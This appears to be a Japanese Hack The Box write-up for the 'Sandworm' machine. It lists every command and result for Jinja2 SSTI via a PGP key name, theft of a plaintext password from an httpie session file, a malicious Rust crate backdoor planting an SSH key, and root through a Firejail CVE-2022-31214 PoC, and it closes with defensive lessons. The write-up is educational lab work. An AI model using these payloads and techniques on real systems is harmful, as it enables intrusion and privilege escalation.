Hack The BoxのWriteup(Sandworm)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Sandworm — 全実行コマンド・実行結果レポート
Nmap スキャン
ssa.htb, PGP Training サイト
Flask/Jinja2 SSTI
PGP鍵 Name欄 → /process
httpieセッション漏洩
silentobserver資格情報
silentobserver シェル
user.txt ✓
Rust crate hijack
/opt/crates/logger 改竄
atlas 非ジェイルSSH
Firejail CVE-2022-31214
–join でPAMバイパス
root.txt ✓

ポートスキャン & ドメイン特定

BASH
nmap -sV -sC -p- --min-rate 3000 10.129.229.16
RESULT
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/
|           stateOrProvinceName=Classified/countryName=SA
BASH
echo "10.129.229.16 ssa.htb" | sudo tee -a /etc/hosts
ℹ️
80番は常に443番(https://ssa.htb/)へリダイレクトされる。TLS証明書の Subject から「Secret Spy Agency (SSA)」というテーマのサイトであることが分かる。
PHASE 2

サイト構造の把握 & Flask/Jinja2 SSTI の発見

/guide ページ — PGP実習フォームの発見

BASH
curl -sk "https://ssa.htb/guide" | grep -iE 'form|action'
RESULT (抜粋)
<form action="/guide" method="post">              (復号デモ)
<form action="/guide/encrypt" method="post">      (暗号化デモ)
<form class="verify-form" action="/guide/verify" method="post">
  <textarea name="public_key"></textarea>
  <textarea name="signed_text"></textarea>
  <button id="verify-signature">Verify Signature</button>
ℹ️
「Verify Signature」フォームの action/guide/verify だが、実際にこのフォームへ直接 POST しても、生の gpg 出力が 安全にエスケープされた静的ガイドページが返るだけで脆弱性は無い (後述)。ボタン押下時の本当の送信先は JavaScript 側で別に定義されている。

scripts.js — 本当のAJAX送信先を特定

BASH
curl -sk "https://ssa.htb/static/scripts.js"
RESULT
$(".verify-form").submit(function(e) {
  e.preventDefault();
  var signed_text = $("#signed_text").val();
  var public_key = $("#public_key").val();
  $.ajax({
    type: "POST",
    url: "/process",
    data: { signed_text: signed_text, public_key: public_key },
    success: function(result) {
      $("#signature-result").html(result);
      $("#signature-modal").modal("show");
    }
  });
});
🚨
「Verify Signature」ボタンは実際には POST /process へ非同期送信し、 そのレスポンスをそのまま .html() でポップアップに埋め込む。 サーバー側でこのレスポンスを組み立てる過程に SSTI の脆弱性がある。

SSTIペイロードを仕込んだPGP鍵の生成

BASH
export GNUPGHOME=~/.gnupg_ssa
cat > keyparams.txt <<EOF
%no-protection
Key-Type: RSA
Key-Length: 2048
Name-Real: {{7*7}}
Name-Email: test@ssa.htb
Expire-Date: 0
%commit
EOF
gpg --batch --gen-key keyparams.txt
gpg --armor --export test@ssa.htb > pubkey.asc
echo "hello ssti test" | gpg --batch --local-user test@ssa.htb --clearsign > signed.asc
ℹ️
GPG鍵の Name-Real (氏名) フィールドに Jinja2 のテンプレート構文 {{7*7}} を仕込む。鍵で任意のメッセージに clearsign すると、 署名検証時に GPG が UID(氏名+メール)をそのまま出力するため、このペイロードが サーバーへ渡る経路になる。

/process へ送信 — SSTI確認

BASH
curl -sk "https://ssa.htb/process" \
     --data-urlencode "public_key@pubkey.asc" \
     --data-urlencode "signed_text@signed.asc"
RESULT (抜粋)
[GNUPG:] GOODSIG 6E0E81DC19E8013B 49 <test@ssa.htb>
gpg: Good signature from "49 <test@ssa.htb>" [unknown]
SSTI確認成功。 {{7*7}} が文字列としてではなく 計算結果の 49 として評価されてUID欄に出力された。サーバーは Jinja2 の render_template_string() 等で gpg 出力(UID部分)を 未サニタイズのままレンダリングしていると判断できる。
PHASE 3

RCEペイロードへ発展 & 資格情報漏洩 → user.txt

os.popen によるコマンド実行

PYTHON (SSTIペイロード)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
BASH
# 同様に Name-Real へ埋め込んだ鍵を作成・署名し /process へ送信
curl -sk "https://ssa.htb/process" \
     --data-urlencode "public_key@pubkey_rce.asc" \
     --data-urlencode "signed_text@signed_rce.asc"
RESULT
[GNUPG:] GOODSIG 749B698D3A23BB80 uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
 <rce@ssa.htb>
RCE成功。 Flask アプリは Firejail サンドボックス (firejail --profile=webappflaskrun) 内で atlas ユーザーとして動作している。この後の権限昇格フェーズで、この 「サンドボックス内」という制約が重要な意味を持つ。

httpieセッションファイルから資格情報を窃取

PYTHON (SSTIペイロード)
{{request.application.__globals__.__builtins__.__import__('os').popen(
    'cat /home/atlas/.config/httpie/sessions/localhost_5000/admin.json'
).read()}}
RESULT (抜粋)
{
    "__meta__": {
        "about": "HTTPie session file", ...
    },
    "auth": {
        ...
        "password": "quietLiketheWind22",
        "username": "silentobserver"
    }
}
🚨
atlas が普段 httpie (CLI HTTPクライアント) で内部APIへアクセスする際の セッションファイルに、別ユーザー silentobserver の平文パスワード が保存されたままになっている。

SSHログイン & user.txt 取得

BASH
sshpass -p 'quietLiketheWind22' ssh silentobserver@ssa.htb \
    "cat /home/silentobserver/user.txt"
RESULT
bbe420ea746558485b5876e118cbc4cd
user.txt — silentobserver
bbe420ea746558485b5876e118cbc4cd
PHASE 4

cronjob発見 & Rust crate hijacking → atlas 非ジェイルSSH

pspy でcronjobを発見

BASH (silentobserverシェル上)
./pspy64
RESULT (抜粋、約2分間隔で発火)
CMD: UID=0    PID=xxxx  | sudo -u atlas /usr/bin/cargo run --offline
(実行ディレクトリ: /opt/tipnet)
ℹ️
root の crontab が約2分おきに /opt/tipnetsudo -u atlas cargo run --offline を実行している (offline なのでビルド済みcrateのみ使用、外部ネットワーク不要)。

依存クレートの書込み権限を確認

BASH
cat /opt/tipnet/Cargo.toml
ls -la /opt/crates/logger/src/
RESULT
[dependencies]
chrono = "0.4"
mysql = "23.0.1"
logger = {path = "../crates/logger"}
...

drwxrwxr-x 2 atlas silentobserver 4096 May  4  2023 .
-rw-rw-r-- 1 atlas silentobserver  732 May  4  2023 lib.rs
🚨
tipnet はローカルパス依存 logger = {path = "../crates/logger"} を持ち、その lib.rssilentobserver グループに 書込み権限がある。cargo run は毎回ローカル依存を 再コンパイルするため、内容を書き換えるだけで次回cronjob発火時に自分のコードが atlas 権限で実行される。

log() 関数を改竄しSSH公開鍵を仕込む

RESULT (元の lib.rs)
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    ...
    let mut file = OpenOptions::new().append(true).create(true)
        .open("/opt/tipnet/access.log")...
    file.write_all(log_message.as_bytes())...
}
BASH (改竄版を書込み)
ssh-keygen -t rsa -b 2048 -N "" -f atlas_key
PUBKEY=$(cat atlas_key.pub)

cat > malicious_lib.rs <<RUSTEOF
use std::process::Command;

pub fn log(user: &str, query: &str, justification: &str) {
    let _ = Command::new("bash").arg("-c")
        .arg("mkdir -p /home/atlas/.ssh && echo '${PUBKEY}' >> /home/atlas/.ssh/authorized_keys")
        .output();
}
RUSTEOF

scp malicious_lib.rs silentobserver@ssa.htb:/opt/crates/logger/src/lib.rs
ℹ️
log() 関数のシグネチャ(引数の型・個数)は元のまま維持しつつ、 中身だけを「自分のSSH公開鍵を authorized_keys に追記する」 std::process::Command 呼び出しに差し替える。呼び出し元の tipnet 側は変更不要。

cronjobの発火を待ち atlas へSSH

BASH
# 最大2〜4分待機 (cronjobの間隔)
sleep 150
ssh -i atlas_key atlas@ssa.htb "id"
RESULT
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
非ジェイルシェル獲得。 cronjob は Firejail の外側 (ホストの root 権限) から sudo -u atlas cargo run を実行するため、このSSH セッションは Web アプリのサンドボックスに縛られない、本物の atlas ユーザーとしてのシェル。jailer グループ所属が次のフェーズの鍵になる。
PHASE 5

SUIDバイナリ調査 → Firejail 0.9.68 (CVE-2022-31214) 特定

jailerグループが握るSUIDバイナリを特定

BASH
find / -group jailer 2>/dev/null
which firejail
firejail --version
RESULT
/usr/local/bin/firejail

firejail version 0.9.68
🚨
firejail 0.9.68CVE-2022-31214 (join ロジックの権限昇格脆弱性) が存在するバージョン。偽の join 対象 サンドボックスを用意すると、setuid-root の firejail に「参加」した際、 ユーザー名前空間が初期名前空間のまま・NO_NEW_PRIVS が無効・ マウント名前空間が攻撃者の制御下、という条件が揃ってしまう。

公開PoC (firejoin.py) の取得

BASH (Kali側)
# oss-security への原開示 (2022-06-08) に添付された firejoin.py と同一内容が
# gist として公開されている
git clone https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25.git firejail_poc
⚠️
ハマりどころ①: このPoCは末尾で sys.stdin.readline() の結果を待ち、行が空(EOF)になった時点で 終了する対話端末向けの作り。非対話の1回きりのSSHコマンドで 起動すると標準入力が即座にEOFになり、join案内メッセージを出した直後に プロセスが終了してしまう。末尾の待機ループを time.sleep(600) に書き換えておく。
PHASE 6

Firejail exploit の実行 → root.txt

PoCをatlasへ転送し起動

BASH
scp -i atlas_key firejail_poc/exploit.py atlas@ssa.htb:/tmp/firejail_poc.py
ssh -i atlas_key atlas@ssa.htb "chmod +x /tmp/firejail_poc.py"

ssh -i atlas_key atlas@ssa.htb \
    "PYTHONUNBUFFERED=1 setsid nohup /tmp/firejail_poc.py \
     > /tmp/.fj_out 2>&1 < /dev/null & sleep 5; cat /tmp/.fj_out"
RESULT
You can now run 'firejail --join=3399' in another terminal to obtain
a shell where 'sudo su -' should grant you a root shell.
⚠️
ハマりどころ②: このPoCは unshare で新しい名前空間に 入った後、自分自身を再execする構造になっている。素の nohup ./poc.py &のように起動すると、再exec後の子プロセスの 標準出力がフルバッファリングされ、上記の join 案内が すぐにはファイルへ書き出されない (`cat` した時点でまだ空)。 PYTHONUNBUFFERED=1 を付けて起動することで解決する (環境変数はexec後も引き継がれるため)。

偽サンドボックスへ join し root.txt を取得

BASH
ssh -i atlas_key atlas@ssa.htb \
    "firejail --join=3399 su - -c 'id; cat /root/root.txt'"
RESULT
changing root to /proc/3399/root
uid=0(root) gid=0(root) groups=0(root)
d5a19a792fdfe8346d38706bd4698762
権限昇格成功。 PoC は偽の join 対象サンドボックス内で /etc/pam.d/su/etc/pam.d/sudo の上に pam_permit.so(常に許可)を bind mount で被せている。 firejail --join でこの環境に入ると、su -パスワード無しで root になれる
root.txt — root@sandworm
d5a19a792fdfe8346d38706bd4698762
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — silentobserver
bbe420ea746558485b5876e118cbc4cd
root.txt — root@sandworm
d5a19a792fdfe8346d38706bd4698762

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Flask/Jinja2 SSTI /process (Verify Signature 処理) リモートコード実行 (as atlas, Firejail内) Critical PGP鍵のName-Real欄にJinja2構文を仕込み、署名検証結果のGPG UID欄が未サニタイズでテンプレート評価される
平文資格情報の保存 httpieセッションファイル (admin.json) 別ユーザーへの水平権限昇格 High atlasのローカルhttpieセッションにsilentobserverの平文パスワードが残置
Rust crate hijacking (ローカルパス依存) /opt/crates/logger (tipnetの依存クレート) 権限昇格 (as atlas, サンドボックス外) Critical silentobserverが書込み可能なローカル依存クレートのlog()関数を改竄し、root権限cronjobのcargo run再コンパイルで任意コード実行
CVE-2022-31214 (Firejail) /usr/local/bin/firejail 0.9.68 権限昇格 (root) Critical 偽のjoin対象サンドボックスを用意しfirejail –joinで参加させ、PAM設定をbind mountで無害化してsu -をパスワード無しで通す

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + TLS証明書からssa.htb特定PGP Trainingサイトの存在確認
2SSTI発見scripts.js解析→/processエンドポイント特定→{{7*7}}検証Jinja2 SSTI確認 (49評価)
3RCE+資格情報窃取os.popen(‘id’)→httpieセッション読取user.txt 取得(silentobserver)
4Rust crate hijackpspy+logger crateのlog()改竄atlas非ジェイルSSHアクセス
5SUID調査find / -group jailerFirejail 0.9.68 (CVE-2022-31214)特定
6権限昇格firejoin.py + firejail –joinroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
ユーザー制御可能な文字列 (GPG鍵のUID) をサニタイズせずテンプレートエンジンへ渡している ユーザー入力は必ず render_template_string() 等の動的テンプレート評価に渡さない。表示するだけなら Markup.escape() 等で確実にエスケープし、Jinja2のサンドボックス環境 (ImmutableSandboxedEnvironment) を使う。
APIクライアントのセッションファイルに平文の別ユーザー資格情報が残っている 認証情報はセッションファイルに保存せず、都度シークレットマネージャから取得する。最低限、機微情報を含むセッションファイルはそのユーザー本人のみ読める権限にする。
root権限cronjobがグループ書込み可能なローカル依存パスをそのまま信頼して再コンパイルしている ビルド成果物や依存クレートのディレクトリは、実行ユーザー以外への書込みを一切許可しない。CI/CDやcron経由のビルドではvendoring・ロックファイルのハッシュ検証を行う。
Firejailが既知の権限昇格CVEを含む古いバージョン(0.9.68)のまま運用されている サンドボックス/コンテナ技術は定期的にセキュリティアップデートを適用する。setuid-rootバイナリの脆弱性は影響が致命的なため、脆弱性DBを継続的に監視する。
HackTheBox: Sandworm | 完全攻略レポート